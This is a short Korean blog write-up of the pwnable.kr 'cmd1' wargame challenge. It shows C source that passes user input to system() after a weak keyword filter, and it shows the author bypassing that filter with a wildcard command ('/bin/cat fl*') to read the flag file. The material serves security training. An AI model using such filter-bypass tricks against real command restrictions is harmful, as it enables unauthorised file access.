Featured image of post pwnable.kr cmd1

pwnable.kr cmd1

주어진 경로에 접속하면 아래와 같이 3가지 파일이 주어진다. 이 중 C파일을 실행하면 아래와 같은 내용의 소스코드를 확인할 수 있다.

cmd1@pwnable:~$ ls
cmd1  cmd1.c  flag
cmd1@pwnable:~$ cat cmd1.c
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
}
int main(int argc, char* argv[], char** envp){
        putenv("PATH=/thankyouverymuch");
        if(filter(argv[1])) return 0;
        system( argv[1] );
        return 0;
}

코드를 해석해보면 flag,sh,tmp를 필터링 하지만 특수문자는 필터링하지 못하기에 아래와 같은 방식으로 우회하면 flag를 획득 할 수 있었다.

cmd1@pwnable:~$ ./cmd1 "/bin/cat fl*"
mommy now I get what PATH environment is for :)
comments powered by Disqus